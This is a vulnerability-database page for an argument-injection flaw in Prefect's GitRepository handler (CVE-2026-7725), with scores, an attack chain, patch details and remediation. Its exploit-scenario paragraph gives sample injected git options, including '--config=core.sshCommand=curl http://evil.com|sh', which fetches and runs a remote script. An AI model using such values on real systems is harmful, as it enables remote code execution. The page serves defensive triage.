Skip to main content

Prefect CVE-2026-7725

| EUVDEUVD-2026-26880 LOW
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (CWE-88)
2026-05-04 VulDB
2.1
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain or compromise Prefect user credentials
  2. Delivery
    Invoke GitRepository with injected commit_sha flag
  3. Exploit
    Git interprets malicious option as command flag
  4. Execution
    Arbitrary command executes via git option handler
  5. Impact
    Code runs as Prefect runner process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Argument sanitization
Exploitation Conditions

Authentication is required-the attacker must be a legitimate Prefect user or have obtained valid credentials. The GitRepository class must be instantiated with user-controlled or attacker-influenced commit_sha or directories parameters (the vulnerability does NOT affect hardcoded repository specifications). The attack succeeds when commit_sha contains git command-line flags (e.g., --upload-pack, --config, -c) or when directories contain values prefixed with -- or single- or double-dash options that git sparse-checkout will interpret as flags rather than paths. No special configuration or non-default deployment mode is required-the vulnerability exists in the standard GitRepository handler used for pulling code from git sources. Limitations: the attacker cannot escalate beyond the privilege level of the Prefect runner process, and the injection is constrained to git command arguments (not arbitrary shell commands, though git options like --config and --upload-pack do allow shell command execution in some git configurations).

Impact

CVSS 6.3 (Medium) with network vector (AV:N/AC:L/PR:L) indicates moderate real-world risk. The vulnerability requires authenticated access (PR:L), which significantly limits attack surface compared to unauthenticated RCE. However, the presence of publicly available exploit code and the low attack complexity (AC:L) elevate practical risk for organizations where Prefect runners are accessible to multiple users or where user accounts are compromised. The E:P (Proof of Concept Exploit) rating confirms public exploit availability. SSVC signals are mixed: exploitation is confirmed (POC exists), the attack is remotely deliverable over the network, but it requires legitimate authentication, making it more suitable for insider threats or compromised-credential scenarios than opportunistic internet-wide scanning. Organizations running Prefect in shared multi-tenant environments or with overly permissive access controls face heightened risk. The absence of KEV confirmation suggests this is not yet being exploited at scale by advanced actors, but the public exploit code availability and low attack complexity mean defensive deployment must happen promptly. The integrity and confidentiality impacts (I:L/C:L) are limited to the execution context of the Prefect runner-depending on runner privileges and network position, actual impact could range from data exfiltration to lateral movement.

Exploit ScenarioDerived

An authenticated Prefect user (or attacker with compromised credentials) creates a flow that triggers a GitRepository pull operation, supplying a malicious commit_sha like '--upload-pack=touch /tmp/pwned' or a directories parameter like '--config=core.sshCommand=curl http://evil.com|sh'. The unpatched code concatenates this directly into a git sparse-checkout command, causing git to interpret the injected flags as command options, executing arbitrary code on the Prefect runner's host with the privileges of the Prefect process. Publicly available exploit code (gist.github.com/nedlir/c37d90dda5f715790eafc970b2ef0c8a) demonstrates this attack method.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 04, 2026

Argument injection in Prefect up to 3.6.25.dev6 allows authenticated attackers to execute arbitrary git commands via specially crafted commit_sha or directories parameters in the GitRepository Pull Handler (src/prefect/runner/storage.py). An attacker can inject git flags like --upload-pack or --config to achieve remote code execution with the privileges of the Prefect runner process. Publicly available exploit code exists, and the vendor has released a patched version (3.6.25.dev7) that validates commit SHA format and adds command-line argument separators to block injection.

RemediationAI

Upgrade Prefect to version 3.6.25.dev7 or later immediately. Vendor-released patch: 3.6.25.dev7 (commit 6a9d9918716ce4ee0297b69f3046f7067ef1faae, PR #21384). Until upgrade is possible, restrict network access to Prefect runners and enforce strong authentication and role-based access control to limit who can invoke GitRepository operations with user-controlled parameters. Implement audit logging on all Prefect runner API calls to detect suspicious commit_sha or directories parameters (watch for hex validation failures or -- prefixes). Review any deployed Prefect configurations where GitRepository is instantiated with dynamic or user-provided parameters and temporarily pin them to known-safe hardcoded values. Note that workarounds do not fully mitigate the risk-patching is strongly recommended. See vendor advisory at https://github.com/PrefectHQ/prefect for additional security guidance.

Affected VersionsENISA

prefect 3.6.25.dev6

Affected Packages

pypi prefect fix: 3.6.25.dev7

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the GitRepository class within Prefect's runner storage module, which handles pulling code from remote git repositories. The affected code constructs git sparse-checkout commands by directly concatenating user-supplied commit_sha and directories parameters into command arrays passed to subprocess execution functions. The root cause (CWE-88: Argument Injection) stems from insufficient input validation-attackers can inject git command-line flags (prefixed with -- or -) that are interpreted as options rather than literal directory names or commit references. The patch addresses this by: (1) validating commit_sha against a regex pattern allowing only hexadecimal characters (4-64 chars, supporting SHA-1 and SHA-256), (2) adding a -- argument separator before the directories list to force git to treat all following arguments as positional parameters rather than flags, and (3) issuing a warning if directories contain suspicious double-dash prefixes. This is a classic shell/command-injection pattern where input sanitization bypasses lead to arbitrary option injection in subprocess commands.

Know when Prefect gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (VulDB) · only source for this CVE.

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

5
PoC Detected
May 04, 2026 - 15:18 vuln.today
Public exploit code
Severity Changed
May 04, 2026 - 05:22 NVD
MEDIUM LOW
CVSS changed
May 04, 2026 - 05:22 NVD
6.3 (MEDIUM) 2.1 (LOW)
Patch released
May 04, 2026 - 04:30 nvd
Patch available
CVE Published
May 04, 2026 - 03:00 nvd
LOW 2.1

DescriptionCVE.org

A vulnerability was found in PrefectHQ prefect up to 3.6.25.dev6. Affected by this issue is some unknown functionality of the file src/prefect/runner/storage.py of the component GitRepository Pull Handler. The manipulation of the argument commit_sha/directories results in argument injection. It is possible to launch the attack remotely. The exploit has been made public and could be used. Upgrading to version 3.6.25.dev7 can resolve this issue. The patch is identified as 6a9d9918716ce4ee0297b69f3046f7067ef1faae. It is advisable to upgrade the affected component.

Threat Intelligence Overview

EPSS Score
0.1%
Top 85% exploitable
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Related Vulnerabilities in PrefectHQ prefect Multiple Vulnerabilities

View all 4

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy